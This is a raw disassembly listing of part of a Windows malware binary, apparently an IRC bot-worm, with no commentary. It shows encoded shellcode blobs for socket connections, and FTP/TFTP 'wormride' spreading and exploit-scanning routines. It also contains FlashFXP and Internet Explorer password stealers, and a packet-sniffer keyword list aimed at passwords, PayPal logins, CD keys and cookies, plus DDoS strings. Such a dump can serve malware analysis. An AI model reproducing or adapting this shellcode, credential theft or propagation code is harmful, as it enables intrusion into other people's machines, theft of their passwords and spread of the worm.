sub_41113B+115o ... dword_41C6B0 dd 20303232h, 0A0D2Dh ; DATA XREF: sub_41113B+13o dword_41C6B8 dd 303332h ; DATA XREF: sub_411A09+193o dword_41C6BC dd 53534150h, 0A0D3120h, 0 ; DATA XREF: sub_411A09+11Do dword_41C6C8 dd 313333h ; DATA XREF: sub_411A09+F9o dword_41C6CC dd 52455355h, 0A0D3120h, 0 ; DATA XREF: sub_411A09:loc_411A8Ao dword_41C6D8 dd 303232h ; DATA XREF: sub_411A09+63o unk_41C6DC db 2Dh ; - ; DATA XREF: sub_411BBC+115o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningFtpWorm db '- Running FTP wormride thread',0 align 4 a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_411BBC+6Eo align 10h aFtpWormrideThr db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o dword_41C724 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_411DC5+5E2o unk_41C730 db 2Dh ; - ; DATA XREF: sub_411DC5+5BDo db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TftpTransfer db '- %u. tftp transfer to %s complete.',0 align 10h aWormride db 'wormride',0 ; DATA XREF: sub_411DC5+5B8o align 4 dword_41C76C dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_411DC5+367o aOctet db 'octet',0 ; DATA XREF: sub_411DC5+333o ; sub_411DC5+345o align 4 unk_41C788 db 2Dh ; - ; DATA XREF: sub_411DC5+144o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningTftpWor db '- Running TFTP wormride thread',0 aTftpWormrideTh db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo align 4 loc_41C7C8: ; DATA XREF: sub_4125DF+50o jmp short loc_41C7DF ; --------------------------------------------------------------------------- loc_41C7CA: ; CODE XREF: MEW:loc_41C7DFp mov ecx, 0 xor ecx, 0 pop esi loc_41C7D6: ; CODE XREF: MEW:0041C7DBj xor byte ptr [ecx+esi-1], 0 loop loc_41C7D6 jmp short near ptr dword_41C7E4 ; --------------------------------------------------------------------------- loc_41C7DF: ; CODE XREF: MEW:loc_41C7C8j call loc_41C7CA ; --------------------------------------------------------------------------- dword_41C7E4 dd 0 ; CODE XREF: MEW:0041C7DDj dword_41C7E8 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+CBo dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41C89C dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+8Co dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 2685353h, 8B000000h, 6AD88BD4h, 0BA535210h, 0C2A69000h dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h dd 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41C964 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+36o dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h, 75222222h dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh, 20EC8300h dd 0BFEA758Bh, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41CA18 dd 8B20EC83h, 45D89ECh, 81007D89h, 200ECh, 14658900h, 8B64DB33h ; DATA XREF: sub_412720+71o dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh, 38B048Bh dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h, 6E92BA54h dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh, 3 dup(0) dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h, 0BA1875FFh dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh, 0B9BA1C75h dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h, 8BFDE2ABh dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h, 0FF2694F1h dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h, 0C5935CBAh dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh dd 7315685h, 7D8BD6FFh, 46BABA08h, 0D6FFC10Ch db 0 byte_41CB95 db 0E3h ; DATA XREF: sub_4125DF+CFr ; sub_4125DF+E4w align 4 dword_41CB98 dd 4113E68Bh ; DATA XREF: sub_4125DF+60r ; sub_4125DF+75w align 10h off_41CBA0 dd offset loc_41CC28 ; DATA XREF: sub_4127D0+77r ; --------------------------------------------------------------------------- sbb al, 0CCh inc ecx add [esp+ecx*8], dl inc ecx add ah, bh retf ; --------------------------------------------------------------------------- inc ecx add al, dh retf ; --------------------------------------------------------------------------- inc ecx add [esp+ecx*8], dl inc ecx add ah, bl retf ; --------------------------------------------------------------------------- inc ecx add al, dl retf ; --------------------------------------------------------------------------- dw 41h dd offset dword_41CC14 align 10h dd 0A3DCCCEEh, 0B7h, 0 dd 0FAC18FACh, 0C9F7BFE2h, 0A387EFFBh, 2 dup(0) dd 0A1D7CCE7h, 2 dup(0) aMpRRdJ db '¬ÁÜÆÁ×êIJà„׆Ï',0 align 10h dd 0 dword_41CC14 dd 2 dup(0) ; DATA XREF: MEW:0041CBC0o ; MEW:off_41DA48o ... dword_41CC1C dd 0A1D6CDEAh, 2 dup(0) ; DATA XREF: MEW:off_41DA44o ; --------------------------------------------------------------------------- loc_41CC28: ; DATA XREF: MEW:off_41CBA0o ; MEW:off_41DA40o lodsb pop ecx jmp edx ; --------------------------------------------------------------------------- db 0E8h, 0FCh, 0C3h dd 0B492F6B1h, 0E6AEF0E3h, 0B0h, 0 dword_41CC40 dd 72h ; DATA XREF: sub_412A3A:loc_412B93o dword_41CC44 dd 62h ; DATA XREF: sub_412BC9:loc_412D11o dword_41CC48 dd 63h ; DATA XREF: sub_412D56:loc_412DC8o dword_41CC4C dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_412E04+64o dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh dd 2074726Fh, 2343003h, 2037325h, 0 dword_41CC84 dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h ; DATA XREF: sub_412F07+98o dd 74726F70h, 34300320h, 3752502h, 2 byte_41CCA8 db 0BBh ; DATA XREF: sub_41294E+3Co ; sub_41294E+4Co ... db 9Fh, 80h, 0FCh dd 0B1h, 2 dup(0) dd 0EE000000h, 0DACFh, 3 dup(0) db 2 dup(0) dword_41CCCE dd 8907DA16h ; DATA XREF: sub_41294E+2Br ; sub_412FC6+31r ... dword_41CCD2 dd 0 ; DATA XREF: sub_412FC6+57w ; sub_414052+B5r ... off_41CCD6 dd offset sub_410649 ; DATA XREF: sub_41294E+1Cr ; sub_412FC6+18r ... dw 3 dd 0 dd 99B10000h, 0F8E2E19Bh, 0FAh, 2 dup(0) dd 0DAC8EB00h, 4 dup(0) dd 3FE3FF1Bh, 0 dd offset sub_410B52 dd 3, 10h dup(0) dword_41CD58 dd 6E695728h, 293233h ; DATA XREF: sub_41308F+217o dword_41CD60 dd 696E5528h, 2978h ; DATA XREF: sub_41308F+1F1o dword_41CD68 dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_41308F+1DFo aApache db 'Apache',0 ; DATA XREF: sub_41308F+1B9o align 4 aMicrosoftIisU_ db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o aMicrosoftIis db 'Microsoft-IIS',0 ; DATA XREF: sub_41308F+FCo align 10h aServer db 'Server:',0 ; DATA XREF: sub_41308F+7Ao aOptionsHttp1_0 db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo db 0Dh,0Ah,0 align 10h unk_41CDC0 db 53h ; S ; DATA XREF: sub_41349C+5E4o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 3 db 30h, 34h, 2 db 25h ; % db 73h, 3, 2 db 3Ah ; : db 25h, 73h, 20h db 69h ; i db 6Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 30h ; 0 db 2Eh, 32h, 66h db 3 db 2, 73h, 65h db 63h ; c db 2Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aOpenIpSFound db 'open IP(s) found',0 align 4 dword_41CE04 dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h ; DATA XREF: sub_41349C+55Eo dword_41CE18 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_41349C+343o dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h dd 2037525h, 63657320h, 28646E6Fh, 2973h dword_41CE50 dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h ; DATA XREF: sub_41349C+305o dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h dd 297328h unk_41CE7C db 53h ; S ; DATA XREF: sub_413AB0+1DCo db 63h, 61h, 6Eh db 6Eh ; n db 69h, 6Eh, 67h db 20h db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 db 3Ah, 25h, 73h db 20h db 66h, 6Fh, 72h db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aSecondSTUSU db ' second(s), t:%u s:%u',0 align 4 dword_41CEB4 dd 3430032Dh, 3752502h, 41202D02h, 6D657474h, 64657470h ; DATA XREF: sub_413CB3+30Eo dd 34300320h, 3752502h, 78652002h, 696F6C70h, 69746174h dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h dd 2E297328h, 0 dword_41CEF8 dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h ; DATA XREF: sub_413CB3+2B0o dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h dd 2037325h, 2E2E2Eh unk_41CF28 db 2Dh ; - ; DATA XREF: sub_413CB3+31o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aAttemptingTo_0 db '- Attempting to exploit IP',27h,'s in list.',0 align 4 aAttemptingToEx db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o dword_41CF7C dd 3003203Ah, 75250234h, 202E0203h, 0 ; DATA XREF: sub_414052+BBo aExploitStatist db 'Exploit statistics - ',0 ; DATA XREF: sub_414052+29o align 4 aListingExploit db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo align 10h dword_41CFC0 dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h ; DATA XREF: sub_4141C1+D8o dd 34300320h, 3732502h, 6F702002h, 3207472h, 25023430h dd 2E020373h, 0 dword_41CFF0 dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h ; DATA XREF: sub_4141C1+B4o dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h dd 2037325h, 3430033Ah, 3732502h, 202E02h dword_41D028 dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h ; DATA XREF: sub_4141C1+78o dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h dd 203736Dh, 2Eh dword_41D058 dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h ; DATA XREF: sub_4142BF+D8o dd 30032074h, 73250234h, 203h unk_41D078 db 53h ; S ; DATA XREF: sub_4143B0+221o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 25h ; % db 73h, 20h, 69h db 6Eh ; n db 20h, 3, 30h db 34h ; 4 db 2, 25h, 30h db 2Eh ; . db 32h, 66h, 3 db 2 db 73h, 65h, 63h db 2Eh ; . db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 6Fh aPenPortSFound db 'pen port(s) found',0 align 4 dword_41D0B4 dd 33A7325h, 25023430h, 20020373h, 6F207369h, 6E6570h ; DATA XREF: sub_4143B0+1BAo dword_41D0C8 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_4143B0+81o dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh dd 3752502h, 69772002h, 3206874h, 25023430h, 20020375h dd 6B636F73h, 73287465h, 29h dword_41D110 dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h ; DATA XREF: sub_414600+1BEo dd 3752502h, 30032D02h, 75250234h, 77200203h, 20687469h dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h aYa36za48dehfrv db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o ; sub_4147E5+C6o align 4 aSflashfxpSites db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o align 4 aFlashfxpSites_ db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o aProgramfiles db 'ProgramFiles',0 ; DATA XREF: sub_4148CE+ABo align 4 aSites_dat db 'sites.dat',0 ; DATA XREF: sub_4148CE:loc_414945o align 4 aFlashfxp_exe1 db 'FlashFXP.exe %1',0 ; DATA XREF: sub_4148CE+57o aSoftwareClasse db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0 ; DATA XREF: sub_4148CE+15o align 4 unk_41D204 db 2Dh ; - ; DATA XREF: sub_414A1E+464o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 2Fh, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aFlashfxpPass_0 db 'FlashFXP password(s).',0 align 10h dword_41D240 dd 2343003h, 2037525h ; DATA XREF: sub_414A1E+3C4o a_FlashfxpFtpSS db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0 aPass127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+352o db 'Pass=%127s',0Dh,0Ah,0 align 4 aUser127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+338o db 'User=%127s',0Dh,0Ah,0 align 4 aPort127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+31Eo db 'Port=%127s',0Dh,0Ah,0 align 4 aIp127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+304o db 'IP=%127s',0Dh,0Ah,0 align 4 asc_41D2AC db '[%[^]]]',0Dh,0Ah,0 ; DATA XREF: sub_414A1E+2EAo align 4 aPass_0 db 0Dh,0Ah ; DATA XREF: sub_414A1E+1F4o db 'Pass=',0 aUser_0 db 0Dh,0Ah ; DATA XREF: sub_414A1E+1DCo db 'User=',0 aPort db 0Dh,0Ah ; DATA XREF: sub_414A1E+1C4o db 'Port=',0 aIp db 0Dh,0Ah ; DATA XREF: sub_414A1E+1ACo db 'IP=',0 align 4 asc_41D2D8 db 0Dh,0Ah ; DATA XREF: sub_414A1E:loc_414BA6o db 0Dh,0Ah db '[',0 align 10h unk_41D2E0 db 2Dh ; - ; DATA XREF: sub_414A1E+55o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingFlashfx db '- Listing FlashFXP passwords',0 align 4 aFlashfxpPasswo db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo align 4 unk_41D324 db 2Dh ; - ; DATA XREF: sub_414EF4+B8Ao db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 69h aNternetExplore db 'nternet explorer password(s).',0 align 10h dword_41D360 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh ; DATA XREF: sub_414EF4+AD8o dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh dd 203A6574h, 2343003h, 2037325h, 614E202Eh, 203A656Dh dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h dd 2343003h, 2037325h, 2Eh dword_41D3BC dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh ; DATA XREF: sub_414EF4+A2Bo dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h dd 3203A64h, 25023430h, 2E020373h, 74614420h, 3203A61h dd 25023430h, 2E020373h, 0 dword_41D404 dd 70747468h, 2F3A73h ; DATA XREF: sub_414EF4+9DDo dword_41D40C dd 70747468h, 2F3Ah ; DATA XREF: sub_414EF4+9C6o dword_41D414 dd 7274533Ah, 676E69h ; DATA XREF: sub_414EF4+983o ; sub_414EF4+99Ao aStringindex db 'StringIndex',0 ; DATA XREF: sub_414EF4+968o aE161255a db 'e161255a',0 ; DATA XREF: sub_414EF4:loc_415842o align 4 dword_41D434 dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h ; DATA XREF: sub_414EF4+935o dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h dword_41D474 dd 2Ch ; DATA XREF: sub_414EF4+83Bo ; sub_414EF4+852o ... aB9819c52 db 'b9819c52',0 ; DATA XREF: sub_414EF4:loc_4155CEo align 4 dword_41D484 dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h ; DATA XREF: sub_414EF4+6C6o dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h dd 2037325h, 6150202Eh, 6F777373h, 203A6472h, 2343003h dd 2037325h, 2Eh a5e7e8100 db '5e7e8100',0 ; DATA XREF: sub_414EF4:loc_41550Co align 4 dword_41D4E8 dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh ; DATA XREF: sub_414EF4+604o dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h a220d5cc1 db '220d5cc1',0 ; DATA XREF: sub_414EF4+5C2o align 4 aWs db '%ws',0 ; DATA XREF: sub_414EF4+41Co asc_41D538 db '%x',0 ; DATA XREF: sub_414EF4+234o align 4 unk_41D53C db 2Dh ; - ; DATA XREF: sub_414EF4+1A9o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingInterne db '- Listing internet explorer passwords',0 align 10h dword_41D570 dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_414EF4+123o ; sub_414EF4+2C7o ... aInternetExplor db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o align 4 dword_41D5A4 dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h ; DATA XREF: sub_415B60+277o dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h dd 3732502h, 57202E02h, 646C726Fh, 20664F20h, 63726157h dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h dd 2Eh aSoftwareValveS db 'Software\Valve\Steam',0 ; DATA XREF: sub_415B60+149o align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0 ; DATA XREF: sub_415B60+10Ao align 4 aConquer db '[Conquer]',0 ; DATA XREF: sub_415B60:loc_415C2Fo align 4 aWorldOfWarcraf db 'World Of Warcraft',0 ; DATA XREF: sub_415B60:loc_415C0Eo align 4 aUnreal3 db 'Unreal3',0 ; DATA XREF: sub_415B60+8Co aListingInteres db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo align 4 off_41D6D4 dd offset aUser_1 ; DATA XREF: sub_415EB7+32o ; "user " dd offset aUnknown_1 ; "unknown " dd offset aPass_2 ; "pass " dd offset aMailpass ; "MailPass " dd offset aOper ; "oper " dd 0 dd offset aIdentify ; "identify " dd 0 dd offset aAuth_0 ; " :auth " dd 0 dd offset aPasswd_0 ; "passwd=" dd 0 dd offset aUsername_0 ; "username=" dd 0 dd offset aPassword_0 ; "password=" dd 0 dd offset aLogin_1 ; "login=" dd 0 dd offset aPass_1 ; "pass=" dd 0 dd offset aPw ; "pw=" align 10h off_41D730 dd offset aLogin_0 ; DATA XREF: sub_415EB7+54o ; "login " align 8 dd offset aSxt ; "sxt " align 10h dd offset aAuth ; "auth " align 8 dd offset aPasswort ; "passwort " align 10h dd offset aCdkey ; "cdkey" align 8 dd offset aCdKey_0 ; "cd-key" dd 0 dd offset aCdKey ; "cd key" align 8 dd offset aPassword ; "password" align 10h dd offset aPaypal_com ; "paypal.com" align 8 dd offset aPaypal ; "paypal" align 10h dd offset aIrcOperator ; "irc operator" align 8 dd offset aLP ; "l/p" align 10h dd offset aSsh1_5 ; "SSH-1.5" dd 0 dd offset aSsh1_99 ; "SSH-1.99" dd 2 dup(0) off_41D7A4 dd offset aSetCookie ; DATA XREF: sub_415EB7+76o ; "Set-Cookie:" dd 0 dd offset aSyn ; "syn" dd 0 dd offset aFlood ; "flood " dd 0 dd offset aClone ; "clone " dd 0 dd offset aServU_0 ; "serv-u" dd 0 dd offset aServU ; "serv u" dd 0 dd offset aServu ; "servu" dd 0 dd offset aDdos ; "ddos" dd 2 dup(0) off_41D7E8 dd offset dword_41D844 ; DATA XREF: sub_415EB7+98o align 10h dd offset dword_41D83C align 8 dd offset dword_41D834 align 10h dd offset dword_41D82C align 8 dd offset dword_41D824 align 10h dd offset dword_41D81C dd 2 dup(0) dword_41D81C dd 54495551h, 20h ; DATA XREF: MEW:0041D810o dword_41D824 dd 54524150h, 20h ; DATA XREF: MEW:0041D808o dword_41D82C dd 4E494F4Ah, 20h ; DATA XREF: MEW:0041D800o dword_41D834 dd 49504F54h, 2043h ; DATA XREF: MEW:0041D7F8o dword_41D83C dd 49544F4Eh, 204543h ; DATA XREF: MEW:0041D7F0o dword_41D844 dd 56495250h, 2047534Dh, 0 ; DATA XREF: MEW:off_41D7E8o aDdos db 'ddos',0 ; DATA XREF: MEW:0041D7DCo align 4 aServu db 'servu',0 ; DATA XREF: MEW:0041D7D4o align 10h aServU db 'serv u',0 ; DATA XREF: MEW:0041D7CCo align 4 aServU_0 db 'serv-u',0 ; DATA XREF: MEW:0041D7C4o align 10h aClone db 'clone ',0 ; DATA XREF: MEW:0041D7BCo align 4 aFlood db 'flood ',0 ; DATA XREF: MEW:0041D7B4o align 10h aSyn db 'syn',0 ; DATA XREF: MEW:0041D7ACo aSetCookie db 'Set-Cookie:',0 ; DATA XREF: MEW:off_41D7A4o aSsh1_99 db 'SSH-1.99',0 ; DATA XREF: MEW:0041D798o align 4 aSsh1_5 db 'SSH-1.5',0 ; DATA XREF: MEW:0041D790o aLP db 'l/p',0 ; DATA XREF: MEW:0041D788o aIrcOperator db 'irc operator',0 ; DATA XREF: MEW:0041D780o align 4 aPaypal db 'paypal',0 ; DATA XREF: MEW:0041D778o align 10h aPaypal_com db 'paypal.com',0 ; DATA XREF: MEW:0041D770o align 4 aCdKey db 'cd key',0 ; DATA XREF: MEW:0041D760o align 4 aCdKey_0 db 'cd-key',0 ; DATA XREF: MEW:0041D758o align 4 aCdkey db 'cdkey',0 ; DATA XREF: MEW:0041D750o align 4 aPasswort db 'passwort ',0 ; DATA XREF: MEW:0041D748o align 10h aAuth db 'auth ',0 ; DATA XREF: MEW:0041D740o align 4 aSxt db 'sxt ',0 ; DATA XREF: MEW:0041D738o align 10h aLogin_0 db 'login ',0 ; DATA XREF: MEW:off_41D730o align 4 aPw db 'pw=',0 ; DATA XREF: MEW:0041D724o aPass_1 db 'pass=',0 ; DATA XREF: MEW:0041D71Co align 4 aLogin_1 db 'login=',0 ; DATA XREF: MEW:0041D714o align 4 aPassword_0 db 'password=',0 ; DATA XREF: MEW:0041D70Co align 4 aUsername_0 db 'username=',0 ; DATA XREF: MEW:0041D704o align 4 aPasswd_0 db 'passwd=',0 ; DATA XREF: MEW:0041D6FCo aAuth_0 db ' :auth ',0 ; DATA XREF: MEW:0041D6F4o aIdentify db 'identify ',0 ; DATA XREF: MEW:0041D6ECo align 10h aOper db 'oper ',0 ; DATA XREF: MEW:0041D6E4o align 4 aMailpass db 'MailPass ',0 ; DATA XREF: MEW:0041D6E0o align 4 aPass_2 db 'pass ',0 ; DATA XREF: MEW:0041D6DCo align 4 aUnknown_1 db 'unknown ',0 ; DATA XREF: MEW:0041D6D8o align 4 aUser_1 db 'user ',0 ; DATA XREF: MEW:off_41D6D4o align 10h dword_41D980 dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h ; DATA XREF: sub_415F69+5CEo dd 3206D6Fh, 25023430h, 3A020373h, 2343003h, 2037525h dd 73253E2Dh, 2075253Ah, 0 unk_41D9B4 db 2Dh ; - ; DATA XREF: sub_415F69+1A6o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 65h ; e db 76h, 65h, 6Ch db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aPacketSnifferR db ' packet sniffer running',0 align 4 dword_41D9E8 dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h ; DATA XREF: sub_41665C+8Eo dd 6E732074h, 65666669h, 72h, 41DA0Ch, 0FD8093AFh, 0D2E6E2ADh dd 0A99AE3FBh, 2 dup(0) dword_41DA20 dd 0E3F44AC0h ; DATA XREF: sub_40A9CF+843r ; MEW:00416845r ... dword_41DA24 dd 94CFA2BAh ; DATA XREF: MEW:0041683Dr dword_41DA28 dd 11B29A82h ; DATA XREF: MEW:00416832r dword_41DA2C dd 2B0ED8BCh ; DATA XREF: MEW:0041682Cr dd 2 dup(0) off_41DA38 dd offset dword_41DD10 ; DATA XREF: sub_40E618+1C3r ; sub_40E618+1D5r ... align 10h off_41DA40 dd offset loc_41CC28 ; DATA XREF: sub_40A9CF+7B3r ; sub_40CF2F+82r ... off_41DA44 dd offset dword_41CC1C ; DATA XREF: sub_40CF2F+B8r off_41DA48 dd offset dword_41CC14 ; DATA XREF: sub_40CF2F+D0r ; sub_40CF2F+DFr ; --------------------------------------------------------------------------- cld retf ; --------------------------------------------------------------------------- inc ecx add al, dh retf ; --------------------------------------------------------------------------- inc ecx add [esp+ecx*8], dl inc ecx add ah, bl retf ; --------------------------------------------------------------------------- inc ecx add al, dl retf ; --------------------------------------------------------------------------- dw 41h dd offset dword_41CC14 align 10h dword_41DA70 dd 0AED0C3E0h, 9DADB3BCh, 2 dup(0) ; DATA XREF: sub_40D043:loc_40D31Fo ; sub_40D871:loc_40DCB8o dword_41DA80 dd 6B6F6B23h, 32h, 1Eh dup(0) ; DATA XREF: sub_40332B+1A1o ; sub_4093B6+6Co ... byte_41DB00 db 0FCh ; DATA XREF: sub_40D043+28Cr ; sub_40D043+297o db 8Bh, 8Eh, 0E6h dd 0E2h, 1Eh dup(0) byte_41DB80 db 0 ; DATA XREF: sub_40D043+2B3r ; sub_40D043+2BEo align 4 dd 1Fh dup(0) dword_41DC00 dd 3430032Eh, 2036202h, 0 ; DATA XREF: 